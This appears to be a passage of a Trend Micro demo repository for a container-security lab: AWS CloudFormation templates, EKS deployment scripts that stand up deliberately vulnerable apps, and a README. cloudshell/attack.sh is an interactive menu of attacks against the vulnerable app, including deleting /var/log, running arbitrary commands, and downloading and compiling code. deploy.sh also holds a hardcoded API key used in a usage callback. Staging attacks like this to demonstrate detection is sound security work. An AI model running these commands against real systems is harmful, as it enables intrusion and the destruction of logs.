lab-key-pair 9 | 10 | Resources: 11 | 12 | CreateKeyPairLambdaExecutionRole: 13 | Type: AWS::IAM::Role 14 | Properties: 15 | AssumeRolePolicyDocument: 16 | Version: '2012-10-17' 17 | Statement: 18 | - Effect: Allow 19 | Principal: 20 | Service: 21 | - lambda.amazonaws.com 22 | Action: 23 | - sts:AssumeRole 24 | Policies: 25 | - 26 | PolicyName: lambdaKeyPairPolicy 27 | PolicyDocument: 28 | Version: "2012-10-17" 29 | Statement: 30 | - 31 | Effect: "Allow" 32 | Action: 33 | - "logs:*" 34 | - "ec2:CreateKeyPair" 35 | - "ec2:DeleteKeyPair" 36 | - "ec2:DescribeKeyPairs" 37 | Resource: "*" 38 | 39 | 40 | CreateKeyPairLambdaFunction: 41 | Type: AWS::Lambda::Function 42 | Properties: 43 | Code: 44 | ZipFile: | 45 | import cfnresponse 46 | import json 47 | import boto3 48 | def lambda_handler(event, context): 49 | print(f"Data in event: {event}") 50 | response_data = {} 51 | keyPairName = event["ResourceProperties"]["KeyPairName"] 52 | ec2 = boto3.client('ec2') 53 | if event["RequestType"] == "Create": 54 | try: 55 | ec2.describe_key_pairs(KeyNames=[keyPairName,],) 56 | except Exception as e: 57 | response = ec2.create_key_pair(KeyName=keyPairName) 58 | elif event["RequestType"] == "Delete": 59 | response = ec2.delete_key_pair(KeyName=keyPairName) 60 | cfnresponse.send(event, context, cfnresponse.SUCCESS, response_data) 61 | Handler: index.lambda_handler 62 | Runtime: python3.9 63 | Role: !GetAtt CreateKeyPairLambdaExecutionRole.Arn 64 | MemorySize: 128 65 | Timeout: 10 66 | 67 | KeyPair: 68 | Type: AWS::CloudFormation::CustomResource 69 | Properties: 70 | KeyPairName: !Ref KeyPairName 71 | ServiceToken: !GetAtt CreateKeyPairLambdaFunction.Arn 72 | 73 | Outputs: 74 | KeyPairName: 75 | Value: !Ref KeyPairName 76 | Description: KeyPair to use when needed -------------------------------------------------------------------------------- /launch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | echo 'Begining Trend Vision One - Container Security Demo Environment Deployment' 6 | echo "" 7 | echo 'Checking for required parameters...' 8 | echo "" 9 | # Check if number of arguments equals 3 or 4 10 | if [ "$#" -ne 2 ]; then 11 | echo "You must enter a command line arguments: STACK_NAME AWS_REGION" 12 | exit 13 | fi 14 | 15 | # Check if JQ is installed. 16 | if ! command -v jq &> /dev/null 17 | then 18 | echo "JQ could not be found." 19 | exit 20 | fi 21 | 22 | # Check if overrides exists 23 | filename="overrides.yaml" # Replace this with your file's name 24 | 25 | if [ -e "$filename" ]; then 26 | echo "File exists: $filename" 27 | else 28 | echo "File does not exist: $filename" 29 | exit 1 # Exit with an error code 30 | fi 31 | 32 | # Get Bucket 33 | BUCKET_NAME="v1-demo-environments" 34 | Bucket_Location=$(aws s3api get-bucket-location --bucket ${BUCKET_NAME} --output text) 35 | if [ $Bucket_Location != '' ] && [ $Bucket_Location != 'None' ] 36 | then 37 | BUCKET_REGION=${Bucket_Location} 38 | else 39 | BUCKET_REGION="us-east-1" 40 | fi 41 | echo 'Bucket Region is '${BUCKET_REGION} 42 | echo "" 43 | 44 | # Set Region 45 | if [ $2 != ''] && [ $2 != 'None' ] 46 | then 47 | AWS_REGION=$2 48 | else 49 | AWS_REGION="us-east-1" 50 | fi 51 | echo 'Region to be deployed to is '${AWS_REGION} 52 | 53 | 54 | # Create CloudFormation Stack 55 | STACK_NAME=$1 56 | BUCKET_URL="https://"${BUCKET_NAME}".s3."${BUCKET_REGION}".amazonaws.com" 57 | TEMPLATE_URL=""${BUCKET_URL}"/utils/main.template.yaml" 58 | PARAMETER1="true" 59 | PARAMETER2="true" 60 | echo 'Deploying Stack...' 61 | # You should add more parameters as needed under the --parameters flag, like: 62 | # ParameterKey=PARAMETER1,ParameterValue=${PARAMETER1} \ 63 | # ParameterKey=PARAMETER2,ParameterValue=${PARAMETER2} \ 64 | aws cloudformation create-stack --stack-name ${STACK_NAME} \ 65 | --template-url ${TEMPLATE_URL} \ 66 | --parameters ParameterKey=BuildEcs,ParameterValue=true \ 67 | --capabilities CAPABILITY_IAM CAPABILITY_NAMED_IAM CAPABILITY_AUTO_EXPAND \ 68 | --disable-rollback --region ${AWS_REGION} 69 | 70 | echo 'Stack deployed!' 71 | 72 | #Get EKS Launch Files 73 | echo 'Fetching Supporting Files!' 74 | curl --silent "https://v1-demo-environments.s3.us-east-1.amazonaws.com/cloudshell.zip" > cloudshell.zip 75 | unzip -o -q cloudshell.zip 76 | rm cloudshell.zip 77 | cd cloudshell 78 | #Install latest version of EksCtl 79 | curl --silent --location "https://github.com/weaveworks/eksctl/releases/latest/download/eksctl_$(uname -s)_amd64.tar.gz" | tar xz -C /tmp 80 | sudo mv /tmp/eksctl /usr/local/bin 81 | sudo yum install -y openssl 82 | #Install Latest version of helm 83 | curl --silent https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash 84 | echo 'Files Fetched!' 85 | echo 'Waiting for VPC to be created....' 86 | echo 'This may take a minute...' 87 | sleep 60 88 | #Get the Subnets to pass to eksctl 89 | VpcStack=$(aws cloudformation list-stacks --region ${AWS_REGION} --query "StackSummaries[?contains(StackName, '${STACK_NAME}-VPC') && StackStatus == 'CREATE_COMPLETE'].StackName" --output text) 90 | echo "VPC Stack Name: ${VpcStack}" 91 | Subnet1=$(aws cloudformation describe-stacks --region ${AWS_REGION} --query "Stacks[?StackName=='${VpcStack}'][].Outputs[?OutputKey=='PublicSubnet1ID'].OutputValue" --output text) 92 | Subnet2=$(aws cloudformation describe-stacks --region ${AWS_REGION} --query "Stacks[?StackName=='${VpcStack}'][].Outputs[?OutputKey=='PublicSubnet2ID'].OutputValue" --output text) 93 | #Run the EKS Deploy Script 94 | ./deploy.sh ${STACK_NAME} ${AWS_REGION} ${Subnet1} ${Subnet2} -------------------------------------------------------------------------------- /utils/main.template.yaml: -------------------------------------------------------------------------------- 1 | AWSTemplateFormatVersion: 2010-09-09 2 | Description: Main template with parameters 3 | 4 | Mappings: 5 | RegionMap: 6 | ap-northeast-1: 7 | AZs: 'ap-northeast-1a,ap-northeast-1b,ap-northeast-1c' 8 | ap-northeast-2: 9 | AZs: 'ap-northeast-2a,ap-northeast-2b,ap-northeast-2c' 10 | ap-northeast-3: 11 | AZs: 'ap-northeast-3a,ap-northeast-3b,ap-northeast-3c' 12 | us-east-2: 13 | AZs: 'us-east-2a,us-east-2b,us-east-2c' 14 | us-east-1: 15 | AZs: 'us-east-1a,us-east-1b,us-east-1c,us-east-1d' 16 | us-west-1: 17 | AZs: 'us-west-1a,us-west-1b' 18 | us-west-2: 19 | AZs: 'us-west-2a,us-west-2b,us-west-2c' 20 | ap-south-1: 21 | AZs: 'ap-south-1a,ap-south-1b,ap-south-1c' 22 | ap-southeast-1: 23 | AZs: 'ap-southeast-1a,ap-southeast-1b,ap-southeast-1c' 24 | ap-southeast-2: 25 | AZs: 'ap-southeast-2a,ap-southeast-2b,ap-southeast-2c' 26 | ca-central-1: 27 | AZs: 'ca-central-1a,ca-central-1b,ca-central-1d' 28 | eu-central-1: 29 | AZs: 'eu-central-1a,eu-central-1b,eu-central-1c' 30 | eu-west-1: 31 | AZs: 'eu-west-1a,eu-west-1b,eu-west-1c' 32 | eu-west-2: 33 | AZs: 'eu-west-2a,eu-west-2b,eu-west-2c' 34 | eu-west-3: 35 | AZs: 'eu-west-3a,eu-west-3b,eu-west-3c' 36 | eu-north-1: 37 | AZs: 'eu-north-1a,eu-north-1b,eu-north-1c' 38 | sa-east-1: 39 | AZs: 'sa-east-1a,sa-east-1b,sa-east-1c' 40 | # ap-east-1: 41 | # AZs: 'ap-east-1a,ap-east-1b,ap-east-1c' 42 | Metadata: 43 | AWS::CloudFormation::Interface: 44 | ParameterGroups: 45 | - Label: 46 | default: Demo Environment Setup 47 | Parameters: 48 | - BuildEcs 49 | ParameterLabels: 50 | BuildEcs: 51 | default: Deploy ECS Demo Cluster 52 | Parameters: 53 | BuildEcs: 54 | Type: String 55 | AllowedValues: 56 | - true 57 | - false 58 | Default: "true" 59 | Conditions: 60 | BuildEcs: !Equals 61 | - !Ref BuildEcs 62 | - true 63 | 64 | Resources: 65 | VPCStack: 66 | Type: AWS::CloudFormation::Stack 67 | Properties: 68 | TemplateURL: 'https://v1-demo-environments.s3.amazonaws.com/utils/vpc.template.yaml' 69 | Parameters: 70 | NumberOfAZs: 2 71 | AvailabilityZones: !FindInMap 72 | - RegionMap 73 | - !Ref 'AWS::Region' 74 | - AZs 75 | KeyPairStack: 76 | Type: AWS::CloudFormation::Stack 77 | Properties: 78 | TemplateURL: !Sub 'https://v1-demo-environments.s3.amazonaws.com/utils/keypair.template.yaml' 79 | 80 | ECSStack: 81 | Condition: BuildEcs 82 | Type: AWS::CloudFormation::Stack 83 | Properties: 84 | TemplateURL: 'https://v1-demo-environments.s3.amazonaws.com/utils/ecs.template.yaml' 85 | Parameters: 86 | VpcId: !GetAtt VPCStack.Outputs.VPCID 87 | KeyName: !GetAtt KeyPairStack.Outputs.KeyPairName 88 | SubnetId: 89 | Fn::Join: 90 | - ',' 91 | - - !GetAtt VPCStack.Outputs.PublicSubnet1ID 92 | - !GetAtt VPCStack.Outputs.PublicSubnet2ID 93 | DependsOn: 94 | - VPCStack 95 | - KeyPairStack 96 | 97 | EcsServiceStack: 98 | Condition: BuildEcs 99 | Type: AWS::CloudFormation::Stack 100 | Properties: 101 | TemplateURL: 'https://v1-demo-environments.s3.amazonaws.com/utils/ecs-service.template.yaml' 102 | Parameters: 103 | ECSClusterName: !GetAtt ECSStack.Outputs.ecscluster 104 | taskdefinition: !GetAtt ECSStack.Outputs.taskdef 105 | DependsOn: 106 | - ECSStack 107 | 108 | Outputs: 109 | PublicSubnet1ID: 110 | Description: Public subnet 1 ID in Availability Zone 1 111 | Value: !GetAtt VPCStack.Outputs.PublicSubnet1ID 112 | PublicSubnet2ID: 113 | Description: Public subnet 2 ID in Availability Zone 2 114 | Value: !GetAtt VPCStack.Outputs.PublicSubnet2ID 115 | -------------------------------------------------------------------------------- /cloudshell/deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # exit when any command fails 4 | set -e 5 | 6 | # Check if helm is installed. 7 | if ! command -v helm &> /dev/null 8 | then 9 | echo "helm could not be found. Install it following this: https://helm.sh/docs/intro/install/" 10 | exit 11 | fi 12 | 13 | # Check if jq is installed. 14 | if ! command -v jq &> /dev/null 15 | then 16 | echo "jq could not be found. Install it following this: https://stedolan.github.io/jq/download/" 17 | exit 18 | fi 19 | 20 | # Check if eksctl is installed. 21 | if ! command -v eksctl &> /dev/null 22 | then 23 | echo "eksctl could not be found. Install it following this: https://docs.aws.amazon.com/eks/latest/userguide/eksctl.html" 24 | exit 25 | fi 26 | 27 | # Check if kubectl is installed. 28 | if ! command -v kubectl &> /dev/null 29 | then 30 | echo "kubectl could not be found. Install it following this: https://kubernetes.io/docs/tasks/tools/" 31 | exit 32 | fi 33 | 34 | # Local state file 35 | STATE_FILE=".container-security-demo" 36 | STACK_NAME=$1 37 | REGION=$2 38 | # Set color green for echo output 39 | green=$(tput setaf 2) 40 | 41 | # Set Cluster Name 42 | CLUSTER_NAME=$1-cluster-$RANDOM 43 | 44 | # Deploys EKS cluster. 45 | echo "💬 ${green}Deploying EKS cluster $CLUSTER_NAME..." 46 | eksctl create cluster \ 47 | --tags Project=TrendMicroContainerSecurityDemo \ 48 | -t t3.medium \ 49 | --enable-ssm \ 50 | --full-ecr-access \ 51 | --region=$2 \ 52 | --alb-ingress-access \ 53 | --version=1.27 \ 54 | --tags purpose=demo,owner="$(whoami)" \ 55 | --name "$CLUSTER_NAME" \ 56 | --vpc-public-subnets=$3,$4 \ 57 | --ssh-access \ 58 | --ssh-public-key=lab-key-pair 59 | echo "💬 ${green}EKS Cluster $CLUSTER_NAME deployed." 60 | 61 | 62 | # Deploys Calico according to https://docs.aws.amazon.com/eks/latest/userguide/calico.html 63 | echo "💬 ${green}Deploying Calico..." 64 | kubectl create namespace tigera-operator 65 | helm repo add projectcalico https://docs.projectcalico.org/charts 66 | helm repo update 67 | helm install calico projectcalico/tigera-operator --version v3.24.1 -f calico/values.yaml --namespace tigera-operator 68 | echo "💬 ${green}Calico was deployed." 69 | 70 | # Create demo attacker and namespace if it doesn't exist 71 | kubectl create namespace attacker --dry-run=client -o yaml | kubectl apply -f - 72 | kubectl create namespace demo --dry-run=client -o yaml | kubectl apply -f - 73 | 74 | # Deplouy java-goof Vulnerable demo app 75 | echo "💬 ${green}Deploying vulnerable apps..." 76 | kubectl apply -f pods/java-goof.yaml 77 | sleep 15 78 | JAVAGOOFURL=$(kubectl get svc -n demo --selector=app=java-goof -o jsonpath='{.items[*].spec.clusterIP}') 79 | echo "💬 ${green}java-goof deployed. Container IP: ${JAVAGOOFURL}" 80 | 81 | # Deploy openssl vulnerable app 82 | kubectl apply -f pods/openssl3.yaml 83 | sleep 15 84 | WEBAPPURL=$(kubectl get svc -n demo --selector=app=web-app -o jsonpath='{.items[*].spec.clusterIP}') 85 | echo "💬 ${green}web-app deployed with openssl. Container IP: ${WEBAPPURL}" 86 | echo "💬 ${green}Vulnerable apps deployed." 87 | 88 | 89 | # Installs Container Security to k8s Cluster 90 | helm install \ 91 | trendmicro \ 92 | --namespace trendmicro-system --create-namespace \ 93 | --values ../overrides.yaml \ 94 | https://github.com/trendmicro/cloudone-container-security-helm/archive/master.tar.gz 95 | echo "💬 ${green}Trend Vision One - Container Security deployed." 96 | 97 | # Saving state to local file for later demo cleanup 98 | STATE=$(jq -n --arg clustername "$CLUSTER_NAME" --arg region "$REGION" --arg stackname "$STACK_NAME" '{clustername: $clustername, region: $region, stackname: $stackname}') 99 | echo "$STATE" > $STATE_FILE 100 | 101 | # Rest API call back to Trend Micro RD to help track usage of this template 102 | AwsId=$(aws sts get-caller-identity --query "Account" --output text) 103 | curl -X POST -H "AwsId: $AwsId" -H "X-API-Key: ud6FALTrlQ6qAPFRNhfN71rwSHLuCj0M8nLVqZ2J" https://cs-demo-callback.v1.trenddemos.com 104 | 105 | echo "💬 ${green}Deployment completed." -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Introduction 2 | 3 | This is an Open Source community project. Project contributors may be able to help, depending on their time and availability. Please be specific about what you're trying to do, your system, and steps to reproduce your scenario when opening a GitHub issue. 4 | 5 | For bug reports, please [open an issue](https://github.com/trendmicro/tm-v1-containersecurity/issues/new) 6 | 7 | > Note: Official support from Trend Micro is not available. Individual contributors may be Trend Micro employees but are not official support. 8 | 9 | ## For Contributors 10 | 11 | We :heart: contributions from the community. To submit changes, please review the following information. 12 | 13 | ### Contributor Guidelines 14 | 15 | Some tips before you start contributing to this project: 16 | 17 | - The folder structure convention for this repo is '`/product-name/activity-name/{cloud-provider}-{language or framework}-your-script-foldername`'. 18 | 19 | > For example, `/Integration/aws-cdk-workload-iam-stack` 20 | 21 | **Note:** The `{cloud-provider}` is mandatory for the cases that it's applied, such as `aws-cdk-workload-iam-stack`. For others cases is not necessary, but use your best judgement before submit the PR. 22 | 23 | - Recommended to create a README for your folder to make it easier for the community to make use of your script. 24 | - Writing separate test scripts in the `/tests` folder or having a built-in `dry-run` mode in the script to ensure everyone can test your script in their environment is much appreciated :) 25 | - Images and other assets are a welcome addition to your scripts to help everyone run tests / look at examples. Ensure they are stored in relevant folders beside your script, like `/img`, `/assets`, `/examples`, `/tests`. :warning: Avoid including logs with your submission unless it is used as an example. In that case, examples can be included in an `/examples` folder. 26 | - Using language-specific linters is super beneficial for easier code reviews. 27 | - For Python scripts, please consider submitting a `requirements.txt` file within your script folder for easier deployment. You can generate a requirements.txt file using the following command 28 | 29 | ``` bash 30 | # Install and run in current directory 31 | 32 | # For Python 3: 33 | pip3 install pipreqs 34 | python3 -m pipreqs.pipreqs . 35 | 36 | # For Python 2: 37 | pip install pipreqs 38 | python -m pipreqs.pipreqs . 39 | 40 | # To check your python version: 41 | python --version 42 | ``` 43 | 44 | ### Contribute 45 | 46 | 1. Fork this repository. 47 | 2. Create a new feature branch, preferably from the `main` branch. 48 | 3. Commit your code with a message that is structured according to the [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) specification. 49 | 4. Make your changes. 50 | 5. Submit a pull request with an explanation for your changes or additions. 51 | 52 | We will review and work with you to release the changes. 53 | 54 | ### Code of Conduct 55 | 56 | Trend Micro has adopted a [Code of Conduct](CODE_OF_CONDUCT.md) that we expect project participants to adhere to. Please read the [full text](CODE_OF_CONDUCT.md) to understand what actions will and will not be tolerated. 57 | 58 | ## Community 59 | 60 | ### Status & bugs 61 | 62 | Currently Trend Vision One GitHub is under heavy development. If you wish to report bugs or request new features, you can use the [Github issues module](https://github.com/trendmicro/tm-v1-containersecurity/issues). 63 | 64 | ### Discussion 65 | 66 | If you need support or you wish to engage a discussion about the Trend Vision One platform, feel free to join us on our [Forums](https://success.trendmicro.com/forum/s/topic/0TO4T000000LH90WAG/trend-micro-vision-one). 67 | 68 | ### Support 69 | 70 | Supports will be provided through the community. As this is an OSS project but not a formal Trend Micro product, formal product support is not applied. 71 | 72 | ## About 73 | 74 | ### Authors 75 | 76 | Trend Vision One is a product designed and developed by the company [Trend Micro](https://www.trendmicro.com). 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /cloudshell/attack.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Bash Menu Script Example 3 | 4 | # Fetch victim URL using kubectl 5 | URL="http://$(kubectl get svc -n demo --selector=app=java-goof -o jsonpath='{.items[*].spec.clusterIP}')" 6 | 7 | # Set color green for echo output 8 | green=$(tput setaf 2) 9 | 10 | PS3='Select the attack: ' 11 | options=("whoami" "list services and processes" "delete logs" "write a file" "custom command" "Terminal Shell in Container" "Compile After Delivery" "Hail Mary attacks" "Quit") 12 | select opt in "${options[@]}" 13 | do 14 | case $opt in 15 | "whoami") 16 | echo "💬${green}Showing what users is running the application..." 17 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "whoami" 18 | ;; 19 | "list services and processes") 20 | echo "💬${green}Showing running services and processes..." 21 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "service --status-all && ps -aux" 22 | ;; 23 | "delete logs") 24 | echo "💬${green}Showing current log files..." 25 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "ls -lah /var/log" 26 | echo "💬${green}Deleting the log folder..." 27 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "rm -rf /var/log" 28 | echo "💬${green}Showing the log folder was deleted..." 29 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "ls -lah /var/log" 30 | ;; 31 | 32 | "write a file") 33 | echo "💬${green}Showing current files..." 34 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "ls -lah /tmp" 35 | echo "💬${green}Create a new file..." 36 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "touch /tmp/TREND_HAS_BEEN_HERE" 37 | echo "💬${green}Showing files again..." 38 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "ls -lah /tmp" 39 | ;; 40 | "Terminal Shell in Container") 41 | echo "💬${green}Running shell in container..." 42 | kubectl run attacker-$RANDOM --rm -i --tty --image ubuntu/apache2:2.4-22.04_beta -- bash -c "ls -lh" 43 | ;; 44 | "Compile After Delivery") 45 | echo "💬${green}Running Compile After Delivery..." 46 | kubectl run attacker-$RANDOM --rm -i --tty --image ubuntu/apache2:2.4-22.04_beta -- bash -c "apt update;apt install wget gcc -y;wget https://raw.githubusercontent.com/SoOM3a/c-hello-world/master/hello.c;gcc hello.c;ls -lh" 47 | ;; 48 | "Hail Mary attacks") 49 | echo "💬${green}☠☠☠☠☠☠ RUNNING EVERYTHING ☠☠☠☠☠☠☠" 50 | echo "💬${green}Showing what users is running the application..." 51 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "whoami" 52 | echo "💬${green}Showing running services and processes..." 53 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "service --status-all && ps -aux" 54 | echo "💬${green}Showing current log files..." 55 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "ls -lah /var/log" 56 | echo "💬${green}Deleting the log folder..." 57 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "rm -rf /var/log" 58 | echo "💬${green}Showing the log folder was deleted..." 59 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "ls -lah /var/log" 60 | echo "💬${green}Showing current files..." 61 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "ls -lah /tmp" 62 | echo "💬${green}Create a new file..." 63 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "touch /tmp/TREND_HAS_BEEN_HERE" 64 | echo "💬${green}Showing files again..." 65 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "ls -lah /tmp" 66 | echo "💬${green}Running shell in container..." 67 | kubectl run attacker-$RANDOM --rm -i --tty --image ubuntu/apache2:2.4-22.04_beta -- bash -c "ls -lh" 68 | echo "💬${green}Running Compile After Delivery..." 69 | kubectl run attacker-$RANDOM --rm -i --tty --image ubuntu/apache2:2.4-22.04_beta -- bash -c "apt -qq update;apt -qq install wget gcc -y;wget https://raw.githubusercontent.com/SoOM3a/c-hello-world/master/hello.c;gcc hello.c;ls -lh" 70 | ;; 71 | "custom command") 72 | echo "💬${green}Enter command:" 73 | read -r USER_COMMAND 74 | kubectl run -n attacker attacker-$RANDOM --rm -i --tty --image public.ecr.aws/k1q0d6m0/attacker "$URL" "${USER_COMMAND}" 75 | ;; 76 | "Quit") 77 | break 78 | ;; 79 | *) echo "invalid option $REPLY";; 80 | esac 81 | done -------------------------------------------------------------------------------- /utils/vpc.template.yaml: -------------------------------------------------------------------------------- 1 | AWSTemplateFormatVersion: '2010-09-09' 2 | Description: >- 3 | This template creates a basic VPC with 2 public subnets 4 | Parameters: 5 | AvailabilityZones: 6 | Description: 'List of Availability Zones to use for the subnets in the VPC. Note: 7 | The logical order is preserved.' 8 | Type: List 9 | CreatePublicSubnets: 10 | AllowedValues: 11 | - 'true' 12 | - 'false' 13 | Default: 'true' 14 | Description: Set to false to create only private subnets. If false, CreatePrivateSubnets must be True and the CIDR parameters for ALL public subnets will be ignored 15 | Type: String 16 | 17 | NumberOfAZs: 18 | AllowedValues: 19 | - '2' 20 | Default: '2' 21 | Description: Number of Availability Zones to use in the VPC. This must match your 22 | selections in the list of Availability Zones parameter. 23 | Type: String 24 | 25 | PublicSubnet1CIDR: 26 | AllowedPattern: ^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/(1[6-9]|2[0-8]))$ 27 | ConstraintDescription: CIDR block parameter must be in the form x.x.x.x/16-28 28 | Default: 10.0.128.0/20 29 | Description: CIDR block for the public DMZ subnet 1 located in Availability Zone 30 | 1 31 | Type: String 32 | PublicSubnet2CIDR: 33 | AllowedPattern: ^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/(1[6-9]|2[0-8]))$ 34 | ConstraintDescription: CIDR block parameter must be in the form x.x.x.x/16-28 35 | Default: 10.0.144.0/20 36 | Description: CIDR block for the public DMZ subnet 2 located in Availability Zone 37 | 2 38 | Type: String 39 | 40 | VPCCIDR: 41 | AllowedPattern: ^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/(1[6-9]|2[0-8]))$ 42 | ConstraintDescription: CIDR block parameter must be in the form x.x.x.x/16-28 43 | Default: 10.0.0.0/16 44 | Description: CIDR block for the VPC 45 | Type: String 46 | VPCTenancy: 47 | AllowedValues: 48 | - default 49 | Default: default 50 | Description: The allowed tenancy of instances launched into the VPC 51 | Type: String 52 | 53 | Resources: 54 | VPC: 55 | Type: AWS::EC2::VPC 56 | Properties: 57 | CidrBlock: !Ref 'VPCCIDR' 58 | InstanceTenancy: !Ref 'VPCTenancy' 59 | EnableDnsSupport: true 60 | EnableDnsHostnames: true 61 | Tags: 62 | - Key: Name 63 | Value: !Ref 'AWS::StackName' 64 | 65 | InternetGateway: 66 | Type: AWS::EC2::InternetGateway 67 | Properties: 68 | Tags: 69 | - Key: Name 70 | Value: !Ref 'AWS::StackName' 71 | VPCGatewayAttachment: 72 | Type: AWS::EC2::VPCGatewayAttachment 73 | Properties: 74 | VpcId: !Ref 'VPC' 75 | InternetGatewayId: !Ref 'InternetGateway' 76 | 77 | PublicSubnet1: 78 | Type: AWS::EC2::Subnet 79 | Properties: 80 | VpcId: !Ref 'VPC' 81 | CidrBlock: !Ref 'PublicSubnet1CIDR' 82 | AvailabilityZone: !Select 83 | - '0' 84 | - !Ref 'AvailabilityZones' 85 | MapPublicIpOnLaunch: true 86 | PublicSubnet2: 87 | Type: AWS::EC2::Subnet 88 | Properties: 89 | VpcId: !Ref 'VPC' 90 | CidrBlock: !Ref 'PublicSubnet2CIDR' 91 | AvailabilityZone: !Select 92 | - '1' 93 | - !Ref 'AvailabilityZones' 94 | MapPublicIpOnLaunch: true 95 | PublicSubnetRouteTable: 96 | Type: AWS::EC2::RouteTable 97 | Properties: 98 | VpcId: !Ref 'VPC' 99 | Tags: 100 | - Key: Name 101 | Value: Public Subnets 102 | - Key: Network 103 | Value: Public 104 | PublicSubnetRoute: 105 | DependsOn: VPCGatewayAttachment 106 | Type: AWS::EC2::Route 107 | Properties: 108 | RouteTableId: !Ref 'PublicSubnetRouteTable' 109 | DestinationCidrBlock: '0.0.0.0/0' 110 | GatewayId: !Ref 'InternetGateway' 111 | PublicSubnet1RouteTableAssociation: 112 | Type: AWS::EC2::SubnetRouteTableAssociation 113 | Properties: 114 | SubnetId: !Ref 'PublicSubnet1' 115 | RouteTableId: !Ref 'PublicSubnetRouteTable' 116 | PublicSubnet2RouteTableAssociation: 117 | Type: AWS::EC2::SubnetRouteTableAssociation 118 | Properties: 119 | SubnetId: !Ref 'PublicSubnet2' 120 | RouteTableId: !Ref 'PublicSubnetRouteTable' 121 | 122 | Outputs: 123 | 124 | PublicSubnet1CIDR: 125 | Description: Public subnet 1 CIDR in Availability Zone 1 126 | Value: !Ref 'PublicSubnet1CIDR' 127 | Export: 128 | Name: !Sub '${AWS::StackName}-PublicSubnet1CIDR' 129 | PublicSubnet1ID: 130 | Description: Public subnet 1 ID in Availability Zone 1 131 | Value: !Ref 'PublicSubnet1' 132 | Export: 133 | Name: !Sub '${AWS::StackName}-PublicSubnet1ID' 134 | PublicSubnet2CIDR: 135 | Description: Public subnet 2 CIDR in Availability Zone 2 136 | Value: !Ref 'PublicSubnet2CIDR' 137 | Export: 138 | Name: !Sub '${AWS::StackName}-PublicSubnet2CIDR' 139 | PublicSubnet2ID: 140 | Description: Public subnet 2 ID in Availability Zone 2 141 | Value: !Ref 'PublicSubnet2' 142 | Export: 143 | Name: !Sub '${AWS::StackName}-PublicSubnet2ID' 144 | PublicSubnetRouteTable: 145 | Value: !Ref 'PublicSubnetRouteTable' 146 | Description: Public subnet route table 147 | Export: 148 | Name: !Sub '${AWS::StackName}-PublicSubnetRouteTable' 149 | VPCCIDR: 150 | Value: !Ref 'VPCCIDR' 151 | Description: VPC CIDR 152 | Export: 153 | Name: !Sub '${AWS::StackName}-VPCCIDR' 154 | VPCID: 155 | Value: !Ref 'VPC' 156 | Description: VPC ID 157 | Export: 158 | Name: !Sub '${AWS::StackName}-VPCID' 159 | IGWID: 160 | Value: !Ref 'InternetGateway' 161 | Description: Internet Gateway ID 162 | Export: 163 | Name: !Sub '${AWS::StackName}-IGWID' 164 | -------------------------------------------------------------------------------- /utils/ecs.template.yaml: -------------------------------------------------------------------------------- 1 | AWSTemplateFormatVersion: 2010-09-09 2 | Description: Amazon ECS - Main Cluster with 2 ec2 nodes 3 | Parameters: 4 | KeyName: 5 | Type: 'AWS::EC2::KeyPair::KeyName' 6 | Description: Name of an existing EC2 KeyPair to enable SSH access to the ECS instances. 7 | VpcId: 8 | Type: 'AWS::EC2::VPC::Id' 9 | Description: Select a VPC that allows instances to access the Internet. 10 | SubnetId: 11 | Type: 'List' 12 | Description: Select at least two subnets in your selected VPC. 13 | DesiredCapacity: 14 | Type: Number 15 | Default: '1' 16 | Description: Number of instances to launch in your ECS cluster. 17 | MaxSize: 18 | Type: Number 19 | Default: '1' 20 | Description: Maximum number of instances that can be launched in your ECS cluster. 21 | InstanceType: 22 | Description: EC2 instance type 23 | Type: String 24 | Default: 't3.medium' 25 | AllowedValues: 26 | - t3.medium 27 | - t3.large 28 | - m4.medium 29 | - m4.large 30 | - m4.xlarge 31 | - c4.large 32 | - 